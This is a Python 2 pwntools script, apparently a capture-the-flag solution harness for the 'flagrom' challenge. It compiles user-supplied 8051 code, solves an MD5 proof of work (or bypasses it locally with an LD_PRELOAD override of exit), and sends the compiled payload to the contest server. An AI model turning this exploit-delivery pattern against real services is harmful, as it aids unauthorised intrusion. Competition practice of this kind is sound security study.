#!/usr/bin/env python2

import os
import sys
from pwn import *
import hashlib
import random
import tempfile
import shutil
import intelhex

# parse arguments
if len(sys.argv) < 3:
    print "Usage: %s {remote|local} <user code>" % sys.argv[0]
    sys.exit(1)

DIRNAME = os.path.realpath(os.path.dirname(os.path.realpath(sys.argv[0])))
REMOTE = sys.argv[1].lower() == "remote"

# create the io for the attack
if REMOTE:
    io = remote('flagrom.ctfcompetition.com', 1337)
else:
    # flagrom try to load firmware.8051 from current directory
    # we need to chdir first
    cwd = os.getcwd()
    os.chdir(os.path.join(DIRNAME, "..", "files"))
    # we use LD_PRELOAD to override exit() function and skip the proof of work
    io = process([], False, "./flagrom", env={"LD_PRELOAD": os.path.join(DIRNAME, "exit.so")})
    # return to previous dir
    os.chdir(cwd)

# Function to compile user code
def compile_usercode(filename):
    code_file = os.path.realpath(filename)
    cwd = os.getcwd()
    # we compile the code in a temporary directory
    tmp = tempfile.mkdtemp()
    os.chdir(tmp)

    os.system("sdcc -mmcs51 --iram-size 128 --xram-size 0 --code-size 4096  --nooverlay --noinduction --verbose --debug -V --std-sdcc89 --model-small '%s'" % code_file)

    # retrieve the intelhex version of the file
    hex_filename = "%s.ihx" % (os.path.basename(code_file).rsplit(".", 1)[0])
    ih = intelhex.IntelHex()
    ih.loadhex(hex_filename)

    # remove tmp directory
    os.chdir(cwd)
    shutil.rmtree(tmp)

    return ih.tobinstr()

# load the user code
usercode = compile_usercode(sys.argv[2])

# Try to do the proof of work
if REMOTE:
    ask = io.recvuntil('\n').split()
    start, md5 = ask[11], ask[16][:-1]

    print "Proof of work with:"
    print "  start = %s" % start
    print "  md5 = %s" % md5
    while True:
        r = random.random()
        s = start + str(r)
        if hashlib.md5(s).hexdigest().startswith(md5):
            print "Found %s" % s
            break

    io.send(s+'\n')
else:
    # bypass the proof of work with the LD_PRELOAD
    io.send("\n")

# Send the payload
io.recvuntil("What's the length of your payload?")
print "Sending payload"
io.send("%i\n" % len(usercode))
io.send(usercode)

print "Received data\n----------------------------------"
print io.recvall()
